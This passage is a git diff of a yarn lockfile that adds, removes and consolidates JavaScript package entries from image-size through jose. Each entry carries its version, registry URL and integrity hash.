+  integrity sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==
+
+image-size@1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/image-size/-/image-size-1.1.1.tgz#ddd67d4dc340e52ac29ce5f546a09f4e29e840ac"
+  integrity sha512-541xKlUw6jr/6gGuk92F+mYM5zaFAc5ahphvkqvNe2bQ6gVBkd6bfrmVJ2t4KDAfikAYZyIqTnktX3i6/aQDrQ==
+  dependencies:
+    queue "6.0.2"
+
 imagemin-gifsicle@^7.0.0:
   version "7.0.0"
   resolved "https://registry.yarnpkg.com/imagemin-gifsicle/-/imagemin-gifsicle-7.0.0.tgz#1a7ab136a144c4678657ba3b6c412f80805d26b0"
@@ -9399,12 +10488,17 @@ imagemin@^8.0.0:
     p-pipe "^4.0.0"
     replace-ext "^2.0.0"
 
+immediate@~3.0.5:
+  version "3.0.6"
+  resolved "https://registry.yarnpkg.com/immediate/-/immediate-3.0.6.tgz#9db1dbd0faf8de6fbe0f5dd5e56bb606280de69b"
+  integrity sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==
+
 immutable@^4.0.0-rc.12:
   version "4.0.0-rc.12"
   resolved "https://registry.yarnpkg.com/immutable/-/immutable-4.0.0-rc.12.tgz#ca59a7e4c19ae8d9bf74a97bdf0f6e2f2a5d0217"
   integrity sha512-0M2XxkZLx/mi3t8NVwIm1g8nHoEmM9p9UBl/G9k4+hm0kBgOVdMV/B3CY5dQ8qG8qc80NN4gDV4HQv6FTJ5q7A==
 
-import-fresh@3.2.1, import-fresh@^3.0.0:
+import-fresh@^3.0.0:
   version "3.2.1"
   resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.2.1.tgz#633ff618506e793af5ac91bf48b72677e15cbe66"
   integrity sha512-6e1q1cnWP2RXD9/keSkxHScg508CdXqXWgWBaETNhyuBFz+kUZlKboh+ISK+bU++DmbHimVBrOz/zzPe0sZ3sQ==
@@ -9430,6 +10524,11 @@ import-lazy@^3.1.0:
   resolved "https://registry.yarnpkg.com/import-lazy/-/import-lazy-3.1.0.tgz#891279202c8a2280fdbd6674dbd8da1a1dfc67cc"
   integrity sha512-8/gvXvX2JMn0F+CDlSC4l6kOmVaLOO3XLkksI7CI3Ud95KDYJuYur2b9P/PUt/i/pDAMd/DulQsNbbbmRRsDIQ==
 
+import-lazy@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/import-lazy/-/import-lazy-4.0.0.tgz#e8eb627483a0a43da3c03f3e35548be5cb0cc153"
+  integrity sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==
+
 import-local@^3.0.2:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/import-local/-/import-local-3.1.0.tgz#b4479df8a5fd44f6cdce24070675676063c95cb4"
@@ -9483,6 +10582,11 @@ inherits@2.0.3:
   resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
   integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
 
+ini@2.0.0, ini@~2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/ini/-/ini-2.0.0.tgz#e5fd556ecdd5726be978fa1001862eacb0a94bc5"
+  integrity sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA==
+
 ini@^1.3.4, ini@^1.3.5, ini@~1.3.0, ini@~1.3.3:
   version "1.3.5"
   resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.5.tgz#eee25f56db1c9ec6085e0c22778083f596abf927"
@@ -9495,25 +10599,6 @@ inline-style-prefixer@^5.1.0:
   dependencies:
     css-in-js-utils "^2.0.0"
 
-inquirer@^6.2.2:
-  version "6.5.1"
-  resolved "https://registry.yarnpkg.com/inquirer/-/inquirer-6.5.1.tgz#8bfb7a5ac02dac6ff641ac4c5ff17da112fcdb42"
-  integrity sha512-uxNHBeQhRXIoHWTSNYUFhQVrHYFThIt6IVo2fFmSe8aBwdR3/w6b58hJpiL/fMukFkvGzjg+hSxFtwvVmKZmXw==
-  dependencies:
-    ansi-escapes "^4.2.1"
-    chalk "^2.4.2"
-    cli-cursor "^3.1.0"
-    cli-width "^2.0.0"
-    external-editor "^3.0.3"
-    figures "^3.0.0"
-    lodash "^4.17.15"
-    mute-stream "0.0.8"
-    run-async "^2.2.0"
-    rxjs "^6.4.0"
-    string-width "^4.1.0"
-    strip-ansi "^5.1.0"
-    through "^2.3.6"
-
 internal-ip@^6.2.0:
   version "6.2.0"
   resolved "https://registry.yarnpkg.com/internal-ip/-/internal-ip-6.2.0.tgz#d5541e79716e406b74ac6b07b856ef18dc1621c1"
@@ -9559,11 +10644,6 @@ ip-regex@^4.0.0:
   resolved "https://registry.yarnpkg.com/ip-regex/-/ip-regex-4.3.0.tgz#687275ab0f57fa76978ff8f4dddc8a23d5990db5"
   integrity sha512-B9ZWJxHHOHUhUjCPrMpLD4xEq35bUTClHM1S6CBU5ixQnkZmwipwgc96vAd7AAGM9TGHvJR+Uss+/Ak6UphK+Q==
 
-ip@^1.1.5:
-  version "1.1.5"
-  resolved "https://registry.yarnpkg.com/ip/-/ip-1.1.5.tgz#bdded70114290828c0a039e72ef25f5aaec4354a"
-  integrity sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=
-
 ipaddr.js@1.9.1, ipaddr.js@^1.9.1:
   version "1.9.1"
   resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3"
@@ -9642,7 +10722,7 @@ is-boolean-object@^1.1.0:
   dependencies:
     call-bind "^1.0.2"
 
-is-buffer@^1.1.5:
+is-buffer@^1.1.5, is-buffer@~1.1.6:
   version "1.1.6"
   resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-1.1.6.tgz#efaa2ea9daa0d7ab2ea13a97b2b8ad51fefbe8be"
   integrity sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==
@@ -9669,13 +10749,6 @@ is-callable@^1.2.3:
   resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.3.tgz#8b1e0500b73a1d76c70487636f368e519de8db8e"
   integrity sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==
 
-is-ci@^1.0.10:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/is-ci/-/is-ci-1.2.1.tgz#e3779c8ee17fccf428488f6e281187f2e632841c"
-  integrity sha512-s6tfsaQaQi3JNciBH6shVqEDvhGut0SUXr31ag8Pd8BBbVVlcGfWhpPmEOoM6RJ5TFhbypvf5yyRw/VXW1IiWg==
-  dependencies:
-    ci-info "^1.5.0"
-
 is-ci@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/is-ci/-/is-ci-2.0.0.tgz#6bc6334181810e04b5c22b3d589fdca55026404c"
@@ -9683,6 +10756,13 @@ is-ci@^2.0.0:
   dependencies:
     ci-info "^2.0.0"
 
+is-ci@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/is-ci/-/is-ci-3.0.1.tgz#db6ecbed1bd659c43dac0f45661e7674103d1867"
+  integrity sha512-ZYvCgrefwqoQ6yTyYUbQu64HsITZ3NfKX1lzaEYdkTDcfKzzCI/wthRRYKkdjHKFVgNiXKAKm65Zo1pk2as/QQ==
+  dependencies:
+    ci-info "^3.2.0"
+
 is-core-module@^2.13.0, is-core-module@^2.9.0:
   version "2.13.1"
   resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.13.1.tgz#ad0d7532c6fea9da1ebdc82742d74525c6273384"
@@ -9690,6 +10770,13 @@ is-core-module@^2.13.0, is-core-module@^2.9.0:
   dependencies:
     hasown "^2.0.0"
 
+is-core-module@^2.16.0:
+  version "2.16.1"
+  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.16.1.tgz#2a98801a849f43e2add644fbb6bc6229b19a4ef4"
+  integrity sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==
+  dependencies:
+    hasown "^2.0.2"
+
 is-data-descriptor@^0.1.4:
   version "0.1.4"
   resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz#0b5ee648388e2c860282e793f1856fec3f301b56"
@@ -9737,6 +10824,11 @@ is-docker@^2.1.1:
   resolved "https://registry.yarnpkg.com/is-docker/-/is-docker-2.2.1.tgz#33eeabe23cfe86f14bde4408a02c0cfb853acdaa"
   integrity sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==
 
+is-docker@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/is-docker/-/is-docker-3.0.0.tgz#90093aa3106277d8a77a5910dbae71747e15a200"
+  integrity sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==
+
 is-extendable@^0.1.0, is-extendable@^0.1.1:
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/is-extendable/-/is-extendable-0.1.1.tgz#62b110e289a471418e3ec36a617d472e301dfc89"
@@ -9802,13 +10894,12 @@ is-glob@^4.0.3:
   dependencies:
     is-extglob "^2.1.1"
 
-is-installed-globally@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.yarnpkg.com/is-installed-globally/-/is-installed-globally-0.1.0.tgz#0dfd98f5a9111716dd535dda6492f67bf3d25a80"
-  integrity sha1-Df2Y9akRFxbdU13aZJL2e/PSWoA=
+is-inside-container@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/is-inside-container/-/is-inside-container-1.0.0.tgz#e81fba699662eb31dbdaf26766a61d4814717ea4"
+  integrity sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==
   dependencies:
-    global-dirs "^0.1.0"
-    is-path-inside "^1.0.0"
+    is-docker "^3.0.0"
 
 is-installed-globally@^0.3.1:
   version "0.3.2"
@@ -9818,6 +10909,14 @@ is-installed-globally@^0.3.1:
     global-dirs "^2.0.1"
     is-path-inside "^3.0.1"
 
+is-installed-globally@^0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/is-installed-globally/-/is-installed-globally-0.4.0.tgz#9a0fd407949c30f86eb6959ef1b7994ed0b7b520"
+  integrity sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ==
+  dependencies:
+    global-dirs "^3.0.0"
+    is-path-inside "^3.0.2"
+
 is-ip@^3.1.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/is-ip/-/is-ip-3.1.0.tgz#2ae5ddfafaf05cb8008a62093cf29734f657c5d8"
@@ -9855,16 +10954,21 @@ is-negative-zero@^2.0.1:
   resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.1.tgz#3de746c18dda2319241a53675908d8f766f11c24"
   integrity sha512-2z6JzQvZRa9A2Y7xC6dQQm4FSTSTNWjKIYYTt4246eMTJmIo0Q+ZyOsU66X8lxK1AbB92dFeglPLrhwpeRKO6w==
 
-is-npm@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-npm/-/is-npm-1.0.0.tgz#f2fb63a65e4905b406c86072765a1a4dc793b9f4"
-  integrity sha1-8vtjpl5JBbQGyGBydloaTceTufQ=
-
 is-npm@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/is-npm/-/is-npm-4.0.0.tgz#c90dd8380696df87a7a6d823c20d0b12bbe3c84d"
   integrity sha512-96ECIfh9xtDDlPylNPXhzjsykHsMJZ18ASpaWzQyBr4YRTcVjUvzaHayDAES2oU/3KpljhHUjtSRNiDwi0F0ig==
 
+is-npm@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/is-npm/-/is-npm-5.0.0.tgz#43e8d65cc56e1b67f8d47262cf667099193f45a8"
+  integrity sha512-WW/rQLOazUq+ST/bCAVBp/2oMERWLsR7OrKyt052dNDk4DHcDE0/7QSXITlmi+VBcV13DfIbysG3tZJm5RfdBA==
+
+is-npm@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/is-npm/-/is-npm-6.0.0.tgz#b59e75e8915543ca5d881ecff864077cba095261"
+  integrity sha512-JEjxbSmtPSt1c8XTkVrlujcXdKV1/tvuQ7GwKcAlyiVLeYFQ2VHat8xfrDJsIkhCdF/tZ7CiIR3sy141c6+gPQ==
+
 is-number-object@^1.0.4:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.0.5.tgz#6edfaeed7950cff19afedce9fbfca9ee6dd289eb"
@@ -9897,19 +11001,12 @@ is-object@^1.0.1:
   resolved "https://registry.yarnpkg.com/is-object/-/is-object-1.0.2.tgz#a56552e1c665c9e950b4a025461da87e72f86fcf"
   integrity sha512-2rRIahhZr2UWb45fIOuvZGpFtz0TyOZLf32KxBbSoUCeZR495zCKlWUKKUByk3geS2eAs7ZAABt0Y/Rx0GiQGA==
 
-is-path-inside@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/is-path-inside/-/is-path-inside-1.0.1.tgz#8ef5b7de50437a3fdca6b4e865ef7aa55cb48036"
-  integrity sha1-jvW33lBDej/cprToZe96pVy0gDY=
-  dependencies:
-    path-is-inside "^1.0.1"
-
 is-path-inside@^3.0.1:
   version "3.0.2"
   resolved "https://registry.yarnpkg.com/is-path-inside/-/is-path-inside-3.0.2.tgz#f5220fc82a3e233757291dddc9c5877f2a1f3017"
   integrity sha512-/2UGPSgmtqwo1ktx8NDHjuPwZWmHhO+gj0f93EkhLB5RgW9RZevWYYlIkS6zePc6U2WpOdQYIwHe9YC4DWEBVg==
 
-is-path-inside@^3.0.3:
+is-path-inside@^3.0.2, is-path-inside@^3.0.3:
   version "3.0.3"
   resolved "https://registry.yarnpkg.com/is-path-inside/-/is-path-inside-3.0.3.tgz#d231362e53a07ff2b0e0ea7fed049161ffd16283"
   integrity sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==
@@ -9946,11 +11043,6 @@ is-potential-custom-element-name@^1.0.1:
   resolved "https://registry.yarnpkg.com/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz#171ed6f19e3ac554394edf78caa05784a45bebb5"
   integrity sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==
 
-is-redirect@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-redirect/-/is-redirect-1.0.0.tgz#1d03dded53bd8db0f30c26e4f95d36fc7c87dc24"
-  integrity sha1-HQPd7VO9jbDzDCbk+V02/HyH3CQ=
-
 is-reference@1.2.1:
   version "1.2.1"
   resolved "https://registry.yarnpkg.com/is-reference/-/is-reference-1.2.1.tgz#8b2dac0b371f4bc994fdeaba9eb542d03002d0b7"
@@ -10019,6 +11111,11 @@ is-stream@^2.0.0:
   resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-2.0.1.tgz#fac1e3d53b97ad5a9d0ae9cef2389f5810a5c077"
   integrity sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==
 
+is-stream@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-3.0.0.tgz#e6bfd7aa6bef69f4f472ce9bb681e3e57b4319ac"
+  integrity sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA==
+
 is-string@^1.0.5:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.0.5.tgz#40493ed198ef3ff477b8c7f92f644ec82a5cd3a6"
@@ -10050,7 +11147,7 @@ is-symbol@^1.0.3:
   dependencies:
     has-symbols "^1.0.2"
 
-is-typedarray@^1.0.0, is-typedarray@~1.0.0:
+is-typedarray@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-typedarray/-/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a"
   integrity sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=
@@ -10089,23 +11186,28 @@ is-wsl@^1.1.0:
   resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-1.1.0.tgz#1f16e4aa22b04d1336b66188a66af3c600c3a66d"
   integrity sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=
 
-is-wsl@^2.1.0, is-wsl@^2.2.0:
+is-wsl@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-2.1.1.tgz#4a1c152d429df3d441669498e2486d3596ebaf1d"
+  integrity sha512-umZHcSrwlDHo2TGMXv0DZ8dIUGunZ2Iv68YZnrmCiBPkZ4aaOhtv7pXJKeki9k3qJ3RJr0cDyitcl5wEH3AYog==
+
+is-wsl@^2.2.0:
   version "2.2.0"
   resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-2.2.0.tgz#74a4c76e77ca9fd3f932f290c17ea326cd157271"
   integrity sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==
   dependencies:
     is-docker "^2.0.0"
 
-is-wsl@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-2.1.1.tgz#4a1c152d429df3d441669498e2486d3596ebaf1d"
-  integrity sha512-umZHcSrwlDHo2TGMXv0DZ8dIUGunZ2Iv68YZnrmCiBPkZ4aaOhtv7pXJKeki9k3qJ3RJr0cDyitcl5wEH3AYog==
-
 is-yarn-global@^0.3.0:
   version "0.3.0"
   resolved "https://registry.yarnpkg.com/is-yarn-global/-/is-yarn-global-0.3.0.tgz#d502d3382590ea3004893746754c89139973e232"
   integrity sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw==
 
+is-yarn-global@^0.4.0:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/is-yarn-global/-/is-yarn-global-0.4.1.tgz#b312d902b313f81e4eaf98b6361ba2b45cd694bb"
+  integrity sha512-/kppl+R+LO5VmhYSEWARUFjodS25D68gvj8W7z0I7OWhUla5xWu8KL6CtB2V0R6yqhnRgbcaREMr4EEM6htLPQ==
+
 isarray@0.0.1:
   version "0.0.1"
   resolved "https://registry.yarnpkg.com/isarray/-/isarray-0.0.1.tgz#8a18acfca9a8f4177e09abfc6038939b05d1eedf"
@@ -10146,11 +11248,6 @@ isomorphic-fetch@^2.1.1:
     node-fetch "^1.0.1"
     whatwg-fetch ">=0.10.0"
 
-isstream@~0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/isstream/-/isstream-0.1.2.tgz#47e63f7af55afa6f92e1500e690eb8b8529c099a"
-  integrity sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=
-
 istanbul-lib-coverage@^3.0.0, istanbul-lib-coverage@^3.2.0:
   version "3.2.2"
   resolved "https://registry.yarnpkg.com/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz#2d166c4b0644d43a39f04bf6c2edd1e585f31756"
@@ -10221,6 +11318,15 @@ jackspeak@^2.0.3:
   optionalDependencies:
     "@pkgjs/parseargs" "^0.11.0"
 
+jackspeak@^3.1.2:
+  version "3.4.3"
+  resolved "https://registry.yarnpkg.com/jackspeak/-/jackspeak-3.4.3.tgz#8833a9d89ab4acde6188942bd1c53b6390ed5a8a"
+  integrity sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==
+  dependencies:
+    "@isaacs/cliui" "^8.0.2"
+  optionalDependencies:
+    "@pkgjs/parseargs" "^0.11.0"
+
 jed@1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/jed/-/jed-1.1.1.tgz#7a549bbd9ffe1585b0cd0a191e203055bee574b4"
@@ -10306,16 +11412,6 @@ jest-config@^29.7.0:
     slash "^3.0.0"
     strip-json-comments "^3.1.1"
 
-jest-diff@^27.2.5, jest-diff@^27.3.1:
-  version "27.3.1"
-  resolved "https://registry.yarnpkg.com/jest-diff/-/jest-diff-27.3.1.tgz#d2775fea15411f5f5aeda2a5e02c2f36440f6d55"
-  integrity sha512-PCeuAH4AWUo2O5+ksW4pL9v5xJAcIKPUPfIhZBcG1RKv/0+dvaWTQK1Nrau8d67dp65fOqbeMdoil+6PedyEPQ==
-  dependencies:
-    chalk "^4.0.0"
-    diff-sequences "^27.0.6"
-    jest-get-type "^27.3.1"
-    pretty-format "^27.3.1"
-
 jest-diff@^29.4.2, jest-diff@^29.7.0:
   version "29.7.0"
   resolved "https://registry.yarnpkg.com/jest-diff/-/jest-diff-29.7.0.tgz#017934a66ebb7ecf6f205e84699be10afd70458a"
@@ -10378,11 +11474,6 @@ jest-fetch-mock@^3.0.3:
     cross-fetch "^3.0.4"
     promise-polyfill "^8.1.3"
 
-jest-get-type@^27.0.6, jest-get-type@^27.3.1:
-  version "27.3.1"
-  resolved "https://registry.yarnpkg.com/jest-get-type/-/jest-get-type-27.3.1.tgz#a8a2b0a12b50169773099eee60a0e6dd11423eff"
-  integrity sha512-+Ilqi8hgHSAdhlQ3s12CAVNd8H96ZkQBfYoXmArzZnOfAtVAJEiPDBirjByEblvG/4LPJmkL+nBqPO3A1YJAEg==
-
 jest-get-type@^29.6.3:
   version "29.6.3"
   resolved "https://registry.yarnpkg.com/jest-get-type/-/jest-get-type-29.6.3.tgz#36f499fdcea197c1045a127319c0481723908fd1"
@@ -10415,26 +11506,6 @@ jest-leak-detector@^29.7.0:
     jest-get-type "^29.6.3"
     pretty-format "^29.7.0"
 
-jest-matcher-utils@=27.2.5:
-  version "27.2.5"
-  resolved "https://registry.yarnpkg.com/jest-matcher-utils/-/jest-matcher-utils-27.2.5.tgz#4684faaa8eb32bf15e6edaead6834031897e2980"
-  integrity sha512-qNR/kh6bz0Dyv3m68Ck2g1fLW5KlSOUNcFQh87VXHZwWc/gY6XwnKofx76Qytz3x5LDWT09/2+yXndTkaG4aWg==
-  dependencies:
-    chalk "^4.0.0"
-    jest-diff "^27.2.5"
-    jest-get-type "^27.0.6"
-    pretty-format "^27.2.5"
-
-jest-matcher-utils@^27.2.5:
-  version "27.3.1"
-  resolved "https://registry.yarnpkg.com/jest-matcher-utils/-/jest-matcher-utils-27.3.1.tgz#257ad61e54a6d4044e080d85dbdc4a08811e9c1c"
-  integrity sha512-hX8N7zXS4k+8bC1Aj0OWpGb7D3gIXxYvPNK1inP5xvE4ztbz3rc4AkI6jGVaerepBnfWB17FL5lWFJT3s7qo8w==
-  dependencies:
-    chalk "^4.0.0"
-    jest-diff "^27.3.1"
-    jest-get-type "^27.3.1"
-    pretty-format "^27.3.1"
-
 jest-matcher-utils@^29.7.0:
   version "29.7.0"
   resolved "https://registry.yarnpkg.com/jest-matcher-utils/-/jest-matcher-utils-29.7.0.tgz#ae8fec79ff249fd592ce80e3ee474e83a6c44f12"
@@ -10445,21 +11516,6 @@ jest-matcher-utils@^29.7.0:
     jest-get-type "^29.6.3"
     pretty-format "^29.7.0"
 
-jest-message-util@^27.2.5:
-  version "27.3.1"
-  resolved "https://registry.yarnpkg.com/jest-message-util/-/jest-message-util-27.3.1.tgz#f7c25688ad3410ab10bcb862bcfe3152345c6436"
-  integrity sha512-bh3JEmxsTZ/9rTm0jQrPElbY2+y48Rw2t47uMfByNyUVR+OfPh4anuyKsGqsNkXk/TI4JbLRZx+7p7Hdt6q1yg==
-  dependencies:
-    "@babel/code-frame" "^7.12.13"
-    "@jest/types" "^27.2.5"
-    "@types/stack-utils" "^2.0.0"
-    chalk "^4.0.0"
-    graceful-fs "^4.2.4"
-    micromatch "^4.0.4"
-    pretty-format "^27.3.1"
-    slash "^3.0.0"
-    stack-utils "^2.0.3"
-
 jest-message-util@^29.7.0:
   version "29.7.0"
   resolved "https://registry.yarnpkg.com/jest-message-util/-/jest-message-util-29.7.0.tgz#8bc392e204e95dfe7564abbe72a404e28e51f7f3"
@@ -10489,11 +11545,6 @@ jest-pnp-resolver@^1.2.2:
   resolved "https://registry.yarnpkg.com/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz#930b1546164d4ad5937d5540e711d4d38d4cad2e"
   integrity sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==
 
-jest-regex-util@^27.0.6:
-  version "27.0.6"
-  resolved "https://registry.yarnpkg.com/jest-regex-util/-/jest-regex-util-27.0.6.tgz#02e112082935ae949ce5d13b2675db3d8c87d9c5"
-  integrity sha512-SUhPzBsGa1IKm8hx2F4NfTGGp+r7BXJ4CulsZ1k2kI+mGLG+lxGrs76veN2LF/aUdGosJBzKgXmNCw+BzFqBDQ==
-
 jest-regex-util@^29.6.3:
   version "29.6.3"
   resolved "https://registry.yarnpkg.com/jest-regex-util/-/jest-regex-util-29.6.3.tgz#4a556d9c776af68e1c5f48194f4d0327d24e8a52"
@@ -10577,6 +11628,14 @@ jest-runtime@^29.7.0:
     slash "^3.0.0"
     strip-bom "^4.0.0"
 
+jest-silent-reporter@^0.6.0:
+  version "0.6.0"
+  resolved "https://registry.yarnpkg.com/jest-silent-reporter/-/jest-silent-reporter-0.6.0.tgz#e9c63a3b1e3c80571d690d998faf842f576b6a60"
+  integrity sha512-4nmS+5o7ycVlvbQOTx7CnGdbBtP2646hnDgQpQLaVhjHcQNHD+gqBAetyjRDlgpZ8+8N82MWI59K+EX2LsVk7g==
+  dependencies:
+    chalk "^4.0.0"
+    jest-util "^26.0.0"
+
 jest-snapshot-serializer-raw@^1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/jest-snapshot-serializer-raw/-/jest-snapshot-serializer-raw-1.2.0.tgz#cd67afb5e5cc39d88d518b45e7320dd01ce55148"
@@ -10608,6 +11667,18 @@ jest-snapshot@^29.7.0:
     pretty-format "^29.7.0"
     semver "^7.5.3"
 
+jest-util@^26.0.0:
+  version "26.6.2"
+  resolved "https://registry.yarnpkg.com/jest-util/-/jest-util-26.6.2.tgz#907535dbe4d5a6cb4c47ac9b926f6af29576cbc1"
+  integrity sha512-MDW0fKfsn0OI7MS7Euz6h8HNDXVQ0gaM9uW6RjfDmd1DAFcaxX9OqIakHIqhbnmF08Cf2DLDG+ulq8YQQ0Lp0Q==
+  dependencies:
+    "@jest/types" "^26.6.2"
+    "@types/node" "*"
+    chalk "^4.0.0"
+    graceful-fs "^4.2.4"
+    is-ci "^2.0.0"
+    micromatch "^4.0.2"
+
 jest-util@^29.7.0:
   version "29.7.0"
   resolved "https://registry.yarnpkg.com/jest-util/-/jest-util-29.7.0.tgz#23c2b62bfb22be82b44de98055802ff3710fc0bc"
@@ -10665,7 +11736,7 @@ jest-worker@^29.7.0:
     merge-stream "^2.0.0"
     supports-color "^8.0.0"
 
-jest@^29.4.2:
+jest@^29.4.2, jest@^29.5.0:
   version "29.7.0"
   resolved "https://registry.yarnpkg.com/jest/-/jest-29.7.0.tgz#994676fc24177f088f1c5e3737f5697204ff2613"
   integrity sha512-NIy3oAFp9shda19hy4HK0HRTWKtPJmGdnvywu01nOqNC2vZg+Z+fvJDxpMQA88eb2I9EcafcdjYgsDthnYTvGw==
@@ -10680,10 +11751,15 @@ jetpack-id@1.0.0:
   resolved "https://registry.yarnpkg.com/jetpack-id/-/jetpack-id-1.0.0.tgz#2cf9fbae46d8074fc16b7de0071c8efebca473a6"
   integrity sha1-LPn7rkbYB0/Ba33gBxyO/rykc6Y=
 
-jpeg-js@^0.4.2:
-  version "0.4.4"
-  resolved "https://registry.yarnpkg.com/jpeg-js/-/jpeg-js-0.4.4.tgz#a9f1c6f1f9f0fa80cdb3484ed9635054d28936aa"
-  integrity sha512-WZzeDOEtTOBK4Mdsar0IqEU5sMr3vSV2RqkAIzUEV2BHnUfKGyswWFPFwK5EeDo93K3FohSHbLAjj0s1Wzd+dg==
+jose@5.4.1:
+  version "5.4.1"
